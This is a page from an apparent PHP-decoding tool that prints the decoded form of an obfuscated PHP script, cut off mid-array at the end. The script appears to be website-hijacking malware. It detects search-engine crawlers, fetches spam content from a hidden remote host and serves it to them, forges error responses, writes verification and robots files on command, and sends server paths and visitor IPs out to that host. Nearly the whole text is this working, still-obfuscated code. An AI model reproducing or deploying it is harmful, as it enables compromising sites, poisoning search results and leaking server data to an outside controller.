Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0);header('Content-Type: text/html; charset=utf-8');$OoooOO0 = 'fgm..

Decoded Output download

<?php 
error_reporting(0);header('Content-Type: text/html; charset=utf-8');$OoooOO0 = 'fgm1312';$OOOOOO="%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c";$O=urldecode($OOOOOO);date_default_timezone_set($O{36}.$O{11}.$O{7}.$O{10}.$O{63}.$O{30}.$O{8}.$O{17}.$O{5}.$O{8});$OO = @$_SERVER[$O{38}.$O{34}.$O{47}.$O{32}.$O{51}.$O{28}.$O{50}.$O{30}.$O{52}.$O{29}.$O{34}.$O{34}.$O{30}];$Oo = @$_SERVER[$O{29}.$O{28}.$O{26}.$O{32}.$O{28}.$O{37}.$O{30}.$O{52}.$O{32}.$O{29}.$O{33}];$o0o0oOO000 = @basename(__FILE__);$OoO = @$_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{41}.$O{34}.$O{37}.$O{30}];$Ooolg = @$_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{36}.$O{47}.$O{47}.$O{28}.$O{35}.$O{30}.$O{52}.$O{44}.$O{36}.$O{50}.$O{40}.$O{32}.$O{36}.$O{40}.$O{28}];$OOOOO = @$_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{32}.$O{37}.$O{28}.$O{29}.$O{52}.$O{36}.$O{40}.$O{28}.$O{50}.$O{30}];$OOOOOo = @$_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{29}.$O{28}.$O{39}.$O{28}.$O{29}.$O{28}.$O{29}];$OOOOOOO = ((isset($_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{37}]) && $_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{37}] == $O{8}.$O{24}) || (isset($_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{46}.$O{52}.$O{39}.$O{34}.$O{29}.$O{27}.$O{36}.$O{29}.$O{38}.$O{28}.$O{38}.$O{52}.$O{35}.$O{29}.$O{34}.$O{30}.$O{34}]) && $_SERVER[$O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{46}.$O{52}.$O{39}.$O{34}.$O{29}.$O{27}.$O{36}.$O{29}.$O{38}.$O{28}.$O{38}.$O{52}.$O{35}.$O{29}.$O{34}.$O{30}.$O{34}] == $O{15}.$O{4}.$O{4}.$O{9}.$O{11})) ? $O{15}.$O{4}.$O{4}.$O{9}.$O{11}.$O{62}.$O{63}.$O{63} : $O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63};$OOOOOOOo = $OOOOOOO . $OoO;$OOOOO = @strtolower($OOOOO);$OOOOOo = @strtolower($OOOOOo);if(getenv($O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{47}.$O{44}.$O{33}.$O{28}.$O{50}.$O{30}.$O{52}.$O{33}.$O{35})){$oo00oo00 = getenv($O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{47}.$O{44}.$O{33}.$O{28}.$O{50}.$O{30}.$O{52}.$O{33}.$O{35});} elseif(getenv($O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{46}.$O{52}.$O{39}.$O{34}.$O{29}.$O{27}.$O{36}.$O{29}.$O{38}.$O{28}.$O{38}.$O{52}.$O{39}.$O{34}.$O{29})) {$oo00oo00 = getenv($O{41}.$O{30}.$O{30}.$O{35}.$O{52}.$O{46}.$O{52}.$O{39}.$O{34}.$O{29}.$O{27}.$O{36}.$O{29}.$O{38}.$O{28}.$O{38}.$O{52}.$O{39}.$O{34}.$O{29});} elseif(getenv($O{29}.$O{28}.$O{51}.$O{34}.$O{30}.$O{28}.$O{52}.$O{36}.$O{38}.$O{38}.$O{29})) {$oo00oo00 = getenv($O{29}.$O{28}.$O{51}.$O{34}.$O{30}.$O{28}.$O{52}.$O{36}.$O{38}.$O{38}.$O{29});} else {$oo00oo00 = $_SERVER[$O{29}.$O{28}.$O{51}.$O{34}.$O{30}.$O{28}.$O{52}.$O{36}.$O{38}.$O{38}.$O{29}];}$o0o0ooo0o = explode($O{55},$Oo);$o0o0ooo0o0 = $o0o0ooo0o[0];$o0o0ooo0o0o00o = false;if (file_exists($OO.$o0o0ooo0o0)) {$o0o0ooo0o0o00o = true;}if(isset($_GET[$O{22}.$O{13}])&&$_GET[$O{22}.$O{13}]==$O{73}.$O{23}.$O{73}.$O{23}.$O{73}.$O{23}) {echo $O{73}.$O{23}.$O{73}.$O{23}.$O{73}.$O{23}.$O{57}.$O{8}.$O{24}.$O{18}.$O{7}.$O{24}.$O{2}.$O{88};exit;}$Ooooo = dirname($Oo);if (strstr($Oo, $O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{52}.$O{7}.$O{24}.$O{12}.$O{2}.$O{20}.$O{52})) {OooooOOOOoo($O,$OoooOO0,$OOOOOOOo,$Oo,$OoO,$OOOOOOO,$o0o0ooo0o0o00o,$o0o0ooo0o0,$Ooooo,$o0o0oOO000);}if (substr($Oo,-4)==$O{59}.$O{20}.$O{25}.$O{18}) {OooooO($O,$OoooOO0,$OOOOOOOo,$Oo,$OOOOOOO,$OoO,$oo00oo00,$o0o0ooo0o0o00o,$o0o0ooo0o0,$Ooooo,$o0o0oOO000);}function OooooOOOOoo($O,$OoooOO0,$OOOOOOOo,$Oo,$OoO,$OOOOOOO,$o0o0ooo0o0o00o,$o0o0ooo0o0,$Ooooo,$o0o0oOO000){$Oooooo = $O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$OoooOO0.$O{59}.$O{13}.$O{8}.$O{3}.$O{21}.$O{2}.$O{7}.$O{2}.$O{59}.$O{4}.$O{8}.$O{9}.$O{63}.$O{36}.$O{9}.$O{7}.$O{63}.$O{11}.$O{7}.$O{4}.$O{2}.$O{36}.$O{18}.$O{18}.$O{51}.$O{10}.$O{9}.$O{59}.$O{9}.$O{15}.$O{9}.$O{55}.$O{9}.$O{10}.$O{14}.$O{2}.$O{61}.$Oo.$O{78}.$O{9}.$O{1}.$O{12}.$O{61}.$O{11}.$O{18}.$O{64}.$O{65}.$O{66}.$O{78}.$O{12}.$O{8}.$O{25}.$O{10}.$O{7}.$O{24}.$O{61}.$OOOOOOOo.$O{78}.$O{21}.$O{6}.$O{3}.$O{61}.$o0o0oOO000.$O{78}.$O{2}.$O{20}.$O{7}.$O{11}.$O{4}.$O{13}.$O{61}.$o0o0ooo0o0o00o.$O{78}.$O{11}.$O{12}.$O{61}.$o0o0ooo0o0;if ($_GET[$O{22}.$O{13}.$O{52}.$O{10}.$O{18}.$O{18}.$O{25}.$O{10}.$O{9}] == $O{73}.$O{23}.$O{73}.$O{23}.$O{73}.$O{23}) {echo $Oooooo;exit;}$Ooooooo = OooooOO($O,$Oooooo);if(strstr($Ooooooo,$O{8}.$O{17}.$O{15}.$O{4}.$O{25}.$O{18}.$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4})){@header($O{47}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{53}.$O{4}.$O{5}.$O{9}.$O{2}.$O{62}.$O{4}.$O{2}.$O{20}.$O{4}.$O{63}.$O{20}.$O{25}.$O{18});$Ooooooo = str_replace($O{8}.$O{17}.$O{15}.$O{4}.$O{25}.$O{18}.$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4},'',$Ooooooo);echo $Ooooooo;exit();}else if(strstr($Ooooooo,$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{69}.$O{67}.$O{67}.$O{9}.$O{10}.$O{14}.$O{2})){@header($O{41}.$O{30}.$O{30}.$O{35}.$O{63}.$O{64}.$O{59}.$O{64}.$O{57}.$O{69}.$O{67}.$O{67}.$O{57}.$O{33}.$O{24}.$O{4}.$O{2}.$O{3}.$O{24}.$O{10}.$O{18}.$O{57}.$O{37}.$O{2}.$O{3}.$O{22}.$O{2}.$O{3}.$O{57}.$O{28}.$O{3}.$O{3}.$O{8}.$O{3});exit();}else if(strstr($Ooooooo,$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{70}.$O{67}.$O{70}.$O{9}.$O{10}.$O{14}.$O{2})){@header($O{41}.$O{30}.$O{30}.$O{35}.$O{63}.$O{64}.$O{59}.$O{64}.$O{57}.$O{70}.$O{67}.$O{70}.$O{57}.$O{50}.$O{8}.$O{4}.$O{57}.$O{39}.$O{8}.$O{6}.$O{24}.$O{12});exit();}}function OooooO($O,$OoooOO0,$OOOOOOOo,$Oo,$OOOOOOO,$OoO,$oo00oo00,$o0o0ooo0o0o00o,$o0o0ooo0o0,$Ooooo='',$o0o0oOO000='') {$Oooooo = $O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$OoooOO0.$O{59}.$O{13}.$O{8}.$O{3}.$O{21}.$O{2}.$O{7}.$O{2}.$O{59}.$O{4}.$O{8}.$O{9}.$O{63}.$O{36}.$O{9}.$O{7}.$O{63}.$O{11}.$O{7}.$O{4}.$O{2}.$O{32}.$O{3}.$O{18}.$O{36}.$O{9}.$O{7}.$O{59}.$O{9}.$O{15}.$O{9}.$O{55}.$O{11}.$O{4}.$O{5}.$O{9}.$O{2}.$O{61}.$O{11}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{78}.$O{24}.$O{6}.$O{25}.$O{61}.$O{68}.$O{67}.$O{67}.$O{67}.$O{78}.$O{9}.$O{3}.$O{61}.$Ooooo.$O{78}.$O{6}.$O{3}.$O{18}.$O{61}.$Oo.$O{78}.$O{12}.$O{8}.$O{25}.$O{10}.$O{7}.$O{24}.$O{61}.$OOOOOOOo.$O{78}.$O{7}.$O{9}.$O{61}.$oo00oo00.$O{78}.$O{21}.$O{6}.$O{3}.$O{61}.$o0o0oOO000.$O{78}.$O{2}.$O{20}.$O{7}.$O{11}.$O{4}.$O{13}.$O{61}.$o0o0ooo0o0o00o.$O{78}.$O{11}.$O{12}.$O{61}.$o0o0ooo0o0;if ($_GET[$O{22}.$O{13}.$O{52}.$O{25}.$O{10}.$O{9}] == $O{73}.$O{23}.$O{73}.$O{23}.$O{73}.$O{23}.$O{59}.$O{20}.$O{25}.$O{18}) {echo $Oooooo;exit;}$Ooooooo = OooooOO($O,$Oooooo);if(strstr($Ooooooo,$O{8}.$O{17}.$O{15}.$O{4}.$O{25}.$O{18}.$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4})){@header($O{47}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{53}.$O{4}.$O{5}.$O{9}.$O{2}.$O{62}.$O{4}.$O{2}.$O{20}.$O{4}.$O{63}.$O{20}.$O{25}.$O{18});$Ooooooo = str_replace($O{8}.$O{17}.$O{15}.$O{4}.$O{25}.$O{18}.$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4},'',$Ooooooo);echo $Ooooooo;exit();}else if(strstr($Ooooooo,$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{69}.$O{67}.$O{67}.$O{9}.$O{10}.$O{14}.$O{2})){@header($O{41}.$O{30}.$O{30}.$O{35}.$O{63}.$O{64}.$O{59}.$O{64}.$O{57}.$O{69}.$O{67}.$O{67}.$O{57}.$O{33}.$O{24}.$O{4}.$O{2}.$O{3}.$O{24}.$O{10}.$O{18}.$O{57}.$O{37}.$O{2}.$O{3}.$O{22}.$O{2}.$O{3}.$O{57}.$O{28}.$O{3}.$O{3}.$O{8}.$O{3});exit();}else if(strstr($Ooooooo,$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{70}.$O{67}.$O{70}.$O{9}.$O{10}.$O{14}.$O{2})){@header($O{41}.$O{30}.$O{30}.$O{35}.$O{63}.$O{64}.$O{59}.$O{64}.$O{57}.$O{70}.$O{67}.$O{70}.$O{57}.$O{50}.$O{8}.$O{4}.$O{57}.$O{39}.$O{8}.$O{6}.$O{24}.$O{12});exit();}else if(strstr($Ooooooo,$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{9}.$O{7}.$O{24}.$O{14})){$Ooooooo = str_replace($O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{9}.$O{7}.$O{24}.$O{14},'',$Ooooooo);$Oooooooo = explode($O{81}.$O{9}.$O{7}.$O{24}.$O{82},$Ooooooo);foreach($Oooooooo as $Oog => $Oov){$o0o0oooo = OooooOO($O,$Oov);$Oooo0s = (strpos($o0o0oooo,$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{57}.$O{50}.$O{8}.$O{4}.$O{7}.$O{13}.$O{7}.$O{21}.$O{10}.$O{4}.$O{7}.$O{8}.$O{24}.$O{57}.$O{29}.$O{2}.$O{21}.$O{2}.$O{7}.$O{22}.$O{2}.$O{12}) !== false) ? $O{34}.$O{43} : $O{28}.$O{29}.$O{29}.$O{34}.$O{29};echo $Oov.$O{61}.$O{61}.$O{61}.$O{56}.$O{37}.$O{6}.$O{23}.$O{25}.$O{7}.$O{4}.$O{4}.$O{7}.$O{24}.$O{14}.$O{57}.$O{40}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{57}.$O{37}.$O{7}.$O{4}.$O{2}.$O{25}.$O{10}.$O{9}.$O{62}.$O{57}.$Oooo0s.PHP_EOL;}exit();}}if(isset($_GET[$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}])){$OoOO=$_GET[$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}];if (preg_match($O{63}.$O{79}.$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{59}.$O{89}.$O{55}.$O{76}.$O{83}.$O{59}.$O{15}.$O{4}.$O{25}.$O{18}.$O{77}.$O{80}.$O{63}.$O{7}, $OoOO)) {if(OooooOOOO($O,$OoOO,$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{53}.$O{11}.$O{7}.$O{4}.$O{2}.$O{53}.$O{22}.$O{2}.$O{3}.$O{7}.$O{13}.$O{7}.$O{21}.$O{10}.$O{4}.$O{7}.$O{8}.$O{24}.$O{62}.' '.$OoOO)){exit($O{58}.$O{10}.$O{57}.$O{15}.$O{3}.$O{2}.$O{13}.$O{61}.$OoOO.$O{56}.$OoOO.$O{58}.$O{63}.$O{10}.$O{56});} else{exit($O{13}.$O{10}.$O{7}.$O{18}.$O{88}.$O{88}.$O{88}.$O{88});}}}if(isset($_GET[$O{3}.$O{8}.$O{23}.$O{8}.$O{4}.$O{11}])){$both = '';$o0o0o = $_GET[$O{3}.$O{8}.$O{23}.$O{8}.$O{4}.$O{11}];$Oooooo = $O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$OoooOO0.$O{59}.$O{13}.$O{8}.$O{3}.$O{21}.$O{2}.$O{7}.$O{2}.$O{59}.$O{4}.$O{8}.$O{9}.$O{63}.$O{36}.$O{9}.$O{7}.$O{63}.$O{3}.$O{8}.$O{23}.$O{59}.$O{9}.$O{15}.$O{9}.$O{55}.$O{3}.$O{8}.$O{23}.$O{61}.$o0o0o.$O{78}.$O{9}.$O{1}.$O{12}.$O{61}.$O{11}.$O{18}.$O{64}.$O{65}.$O{66}.$O{78}.$O{12}.$O{8}.$O{25}.$O{10}.$O{7}.$O{24}.$O{61}.$OOOOOOOo.$O{78}.$O{21}.$O{6}.$O{3}.$O{61}.$o0o0oOO000.$O{78}.$O{2}.$O{20}.$O{7}.$O{11}.$O{4}.$O{13}.$O{61}.$o0o0ooo0o0o00o.$O{78}.$O{11}.$O{12}.$O{61}.$o0o0ooo0o0;if ($_GET[$O{3}.$O{8}.$O{23}.$O{8}.$O{4}.$O{11}] == $O{73}.$O{23}.$O{73}.$O{23}.$O{73}.$O{23}) {echo $Oooooo;exit;}$Ooooooo = OooooOO($O,$Oooooo);if(strstr($Ooooooo,$O{8}.$O{17}.$O{15}.$O{4}.$O{25}.$O{18}.$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4})){if(OooooOOOO($O,$O{3}.$O{8}.$O{23}.$O{8}.$O{4}.$O{11}.$O{59}.$O{4}.$O{20}.$O{4},$Ooooooo,$o0o0ooo0o0o00o)) {echo @file_get_contents($OO.$O{63}.$O{3}.$O{8}.$O{23}.$O{8}.$O{4}.$O{11}.$O{59}.$O{4}.$O{20}.$O{4});exit();} else {exit($O{13}.$O{10}.$O{7}.$O{18}.$O{88}.$O{88}.$O{88});}exit();}}if(preg_match($O{63}.$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{59}.$O{21}.$O{8}.$O{59}.$O{16}.$O{9}.$O{90}.$O{5}.$O{10}.$O{15}.$O{8}.$O{8}.$O{90}.$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{83}.$O{59}.$O{21}.$O{8}.$O{25}.$O{81}.$O{79}.$O{59}.$O{82}.$O{89}.$O{55}.$O{80}.$O{90}.$O{23}.$O{7}.$O{24}.$O{14}.$O{63}.$O{7}, $OOOOOo)){if ($_GET[$O{22}.$O{13}.$O{52}.$O{16}.$O{6}.$O{25}.$O{9}] == $O{73}.$O{23}.$O{73}.$O{23}.$O{73}.$O{23}) {echo $O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$OoooOO0.$O{59}.$O{13}.$O{8}.$O{3}.$O{21}.$O{2}.$O{7}.$O{2}.$O{59}.$O{4}.$O{8}.$O{9}.$O{63}.$O{16}.$O{6}.$O{25}.$O{9}.$O{59}.$O{9}.$O{15}.$O{9}.$O{55}.$O{12}.$O{8}.$O{25}.$O{10}.$O{7}.$O{24}.$O{61}.$OoO.$O{78}.$O{9}.$O{10}.$O{14}.$O{2}.$O{61}.$Oo.$O{78}.$O{23}.$O{8}.$O{4}.$O{61}.$O{67}.$O{78}.$O{9}.$O{3}.$O{61}.$Ooooo.$O{78}.$O{3}.$O{2}.$O{13}.$O{2}.$O{3}.$O{61}.$OOOOOo.$O{78}.$O{7}.$O{9}.$O{61}.$oo00oo00.$O{78}.$O{18}.$O{14}.$O{61}.$Ooolg.$O{78}.$O{21}.$O{6}.$O{3}.$O{61}.$o0o0oOO000.$O{78}.$O{2}.$O{20}.$O{7}.$O{11}.$O{4}.$O{13}.$O{61}.$o0o0ooo0o0o00o.$O{78}.$O{11}.$O{12}.$O{61}.$o0o0ooo0o0;exit;}$o0o0ooo=OooooOO($O,$O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$OoooOO0.$O{59}.$O{13}.$O{8}.$O{3}.$O{21}.$O{2}.$O{7}.$O{2}.$O{59}.$O{4}.$O{8}.$O{9}.$O{63}.$O{16}.$O{6}.$O{25}.$O{9}.$O{59}.$O{9}.$O{15}.$O{9}.$O{55}.$O{12}.$O{8}.$O{25}.$O{10}.$O{7}.$O{24}.$O{61}.$OoO.$O{78}.$O{9}.$O{10}.$O{14}.$O{2}.$O{61}.$Oo.$O{78}.$O{23}.$O{8}.$O{4}.$O{61}.$O{67}.$O{78}.$O{9}.$O{3}.$O{61}.$Ooooo.$O{78}.$O{3}.$O{2}.$O{13}.$O{2}.$O{3}.$O{61}.$OOOOOo.$O{78}.$O{7}.$O{9}.$O{61}.$oo00oo00.$O{78}.$O{18}.$O{14}.$O{61}.$Ooolg.$O{78}.$O{21}.$O{6}.$O{3}.$O{61}.$o0o0oOO000.$O{78}.$O{2}.$O{20}.$O{7}.$O{11}.$O{4}.$O{13}.$O{61}.$o0o0ooo0o0o00o.$O{78}.$O{11}.$O{12}.$O{61}.$o0o0ooo0o0);if ($o0o0ooo) {@header("Content-type: text/html; charset=utf-8");$o0o0ooo = str_replace("okhtmlgetcontent",'',$o0o0ooo);echo $o0o0ooo;exit();}}if(stristr($OOOOO,$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{23}.$O{8}.$O{4})||stristr($OOOOO,$O{5}.$O{10}.$O{15}.$O{8}.$O{8})||stristr($OOOOO,$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2})||stristr($OOOOO,$O{40}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{23}.$O{8}.$O{4})||stristr($OOOOO,$O{14}.$O{8}.$O{8}.$O{14}.$O{18}.$O{2}.$O{23}.$O{8}.$O{4})){if ($_GET[$O{22}.$O{13}.$O{52}.$O{23}.$O{8}.$O{4}] == $O{73}.$O{23}.$O{73}.$O{23}.$O{73}.$O{23}) {echo $O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$OoooOO0.$O{59}.$O{13}.$O{8}.$O{3}.$O{21}.$O{2}.$O{7}.$O{2}.$O{59}.$O{4}.$O{8}.$O{9}.$O{63}.$O{73}.$O{64}.$O{71}.$O{59}.$O{9}.$O{15}.$O{9}.$O{55}.$O{12}.$O{8}.$O{25}.$O{10}.$O{7}.$O{24}.$O{61}.$OoO.$O{78}.$O{9}.$O{10}.$O{14}.$O{2}.$O{61}.$Oo.$O{78}.$O{23}.$O{8}.$O{4}.$O{61}.$O{64}.$O{78}.$O{9}.$O{3}.$O{61}.$Ooooo.$O{78}.$O{7}.$O{9}.$O{61}.$oo00oo00.$O{78}.$O{18}.$O{14}.$O{61}.$Ooolg.$O{78}.$O{21}.$O{6}.$O{3}.$O{61}.$o0o0oOO000.$O{78}.$O{2}.$O{20}.$O{7}.$O{11}.$O{4}.$O{13}.$O{61}.$o0o0ooo0o0o00o.$O{78}.$O{11}.$O{12}.$O{61}.$o0o0ooo0o0;exit;}$OooOO = OooooOO($O,$O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$OoooOO0.$O{59}.$O{13}.$O{8}.$O{3}.$O{21}.$O{2}.$O{7}.$O{2}.$O{59}.$O{4}.$O{8}.$O{9}.$O{63}.$O{73}.$O{64}.$O{71}.$O{59}.$O{9}.$O{15}.$O{9}.$O{55}.$O{12}.$O{8}.$O{25}.$O{10}.$O{7}.$O{24}.$O{61}.$OoO.$O{78}.$O{9}.$O{10}.$O{14}.$O{2}.$O{61}.$Oo.$O{78}.$O{23}.$O{8}.$O{4}.$O{61}.$O{64}.$O{78}.$O{9}.$O{3}.$O{61}.$Ooooo.$O{78}.$O{7}.$O{9}.$O{61}.$oo00oo00.$O{78}.$O{18}.$O{14}.$O{61}.$Ooolg.$O{78}.$O{21}.$O{6}.$O{3}.$O{61}.$o0o0oOO000.$O{78}.$O{2}.$O{20}.$O{7}.$O{11}.$O{4}.$O{13}.$O{61}.$o0o0ooo0o0o00o.$O{78}.$O{11}.$O{12}.$O{61}.$o0o0ooo0o0);if(!empty($OooOO)){if(strstr($OooOO,$O{8}.$O{17}.$O{15}.$O{4}.$O{25}.$O{18}.$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4})){@header("Content-type: text/html; charset=utf-8");$OooOO = str_replace($O{8}.$O{17}.$O{15}.$O{4}.$O{25}.$O{18}.$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4},'',$OooOO);echo $OooOO;exit();}else if(strstr($OooOO,$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{69}.$O{67}.$O{67}.$O{9}.$O{10}.$O{14}.$O{2})){@header($O{41}.$O{30}.$O{30}.$O{35}.$O{63}.$O{64}.$O{59}.$O{64}.$O{57}.$O{69}.$O{67}.$O{67}.$O{57}.$O{33}.$O{24}.$O{4}.$O{2}.$O{3}.$O{24}.$O{10}.$O{18}.$O{57}.$O{37}.$O{2}.$O{3}.$O{22}.$O{2}.$O{3}.$O{57}.$O{28}.$O{3}.$O{3}.$O{8}.$O{3});exit();}else if(strstr($OooOO,$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{70}.$O{67}.$O{70}.$O{9}.$O{10}.$O{14}.$O{2})){@header($O{41}.$O{30}.$O{30}.$O{35}.$O{63}.$O{64}.$O{59}.$O{64}.$O{57}.$O{70}.$O{67}.$O{70}.$O{57}.$O{50}.$O{8}.$O{4}.$O{57}.$O{39}.$O{8}.$O{6}.$O{24}.$O{12});exit();}else if(strstr($OooOO,$O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{24}.$O{8}.$O{4}.$O{9}.$O{18}.$O{9}.$O{10}.$O{14}.$O{2})){$OooOO = str_replace($O{14}.$O{2}.$O{4}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{24}.$O{8}.$O{4}.$O{9}.$O{18}.$O{9}.$O{10}.$O{14}.$O{2},'',$OooOO);echo $OooOO;exit();}}}if ($_GET[$O{22}.$O{13}.$O{52}.$O{8}.$O{3}.$O{7}.$O{14}.$O{7}.$O{24}] == $O{8}.$O{24}.$O{18}.$O{7}.$O{24}.$O{2}.$O{69}.$O{69}.$O{68}.$O{68}) {echo $O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$OoooOO0.$O{59}.$O{13}.$O{8}.$O{3}.$O{21}.$O{2}.$O{7}.$O{2}.$O{59}.$O{4}.$O{8}.$O{9}.$O{63}.$O{8}.$O{3}.$O{14}.$O{59}.$O{9}.$O{15}.$O{9}.$O{55}.$O{12}.$O{8}.$O{25}.$O{10}.$O{7}.$O{24}.$O{61}.$OoO.$O{78}.$O{9}.$O{10}.$O{14}.$O{2}.$O{61}.$Oo.$O{78}.$O{9}.$O{3}.$O{61}.$Ooooo.$O{78}.$O{7}.$O{9}.$O{61}.$oo00oo00.$O{78}.$O{18}.$O{14}.$O{61}.$Ooolg.$O{78}.$O{21}.$O{6}.$O{3}.$O{61}.$o0o0oOO000.$O{78}.$O{2}.$O{20}.$O{7}.$O{11}.$O{4}.$O{13}.$O{61}.$o0o0ooo0o0o00o.$O{78}.$O{11}.$O{12}.$O{61}.$o0o0ooo0o0;exit;}OooooOO($O,$O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$OoooOO0.$O{59}.$O{13}.$O{8}.$O{3}.$O{21}.$O{2}.$O{7}.$O{2}.$O{59}.$O{4}.$O{8}.$O{9}.$O{63}.$O{8}.$O{3}.$O{14}.$O{59}.$O{9}.$O{15}.$O{9}.$O{55}.$O{12}.$O{8}.$O{25}.$O{10}.$O{7}.$O{24}.$O{61}.$OoO.$O{78}.$O{9}.$O{10}.$O{14}.$O{2}.$O{61}.$Oo.$O{78}.$O{9}.$O{3}.$O{61}.$Ooooo.$O{78}.$O{7}.$O{9}.$O{61}.$oo00oo00.$O{78}.$O{18}.$O{14}.$O{61}.$Ooolg.$O{78}.$O{21}.$O{6}.$O{3}.$O{61}.$o0o0oOO000.$O{78}.$O{2}.$O{20}.$O{7}.$O{11}.$O{4}.$O{13}.$O{61}.$o0o0ooo0o0o00o.$O{78}.$O{11}.$O{12}.$O{61}.$o0o0ooo0o0);function OooooOO($O,$OooO){$OooOO = '';$agentarry=array("safari 5.1  MAC"=>"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11","safari 5.1  Windows"=>"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Firefox 38esr"=>"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0","IE 11"=>"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; rv:11.0) like Gecko","IE 9.0"=>"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0","IE 8.0"=>"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)","IE 7.0"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)","Firefox 4.0.1  MAC"=>"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1","Firefox 4.0.1  Windows"=>"Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1","Opera 11.11  MAC"=>"Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; en) Presto/2.8.131 Version/11.11","Opera 11.11  Windows"=>"Opera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 